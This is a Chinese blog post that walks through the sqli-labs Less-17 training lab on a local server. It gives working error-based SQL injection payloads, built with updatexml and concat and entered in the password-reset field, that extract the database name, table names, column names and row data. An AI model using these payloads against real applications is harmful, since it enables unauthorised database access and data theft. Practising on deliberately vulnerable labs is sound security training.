目 录CONTENT

文章目录

sqli-labs系列——Less-17

CZ
CZ
2023-06-15 / 0 评论 / 2 点赞 / 339 阅读 / 2858 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

本文主要介绍了在sqli-labs-master平台的Less-17实验中,如何通过报错注入的方式获取数据库的名称、表名、列名以及相应的数据。首先通过填写恶意输入触发SQL语句执行错误,然后通过构造注入语句来获取数据库的名称、表名、列名以及相应的数据。具体来说,我们通过填写恶意输入来判断是否存在注入,然后通过构造不同的注入语句来获取数据库的名称、表名、列名以及相应的数据。最后,我们提到了注入漏洞的危害以及如何避免注入漏洞的发生。

前言

当我们进入十七题发现他提示我们这里是密码重置,所以我们从下面的password入手

前期准备

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节

浏览器访问Less-17

http://127.0.0.1/sqli-labs-master/Less-17/

图片-1686817178446

判断是否存在注入

#用户名填写
admin
#密码填写
' or 1=1 -- xz

图片-1686817695122

判断库名

123'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- xz
#用户名随便用一个,密码字段输入以上命令,通过报错注入得到库名为security

图片-1686817742061

判断表名

123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
#爆出第一个表名是emails
123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 1,1),0x7e),1)-- xz
#爆出第二个表名是referers
.......以此类推所有的表名分别是emails,referers,uagents,users

图片-1686818878185 图片-1686818950504

判断列名

123'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- xz
#得出emails表第一个列名为id

图片-1686819115344

判断数据

123'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
#说明id列的第一个数据是1

图片-1686819416453

2

评论区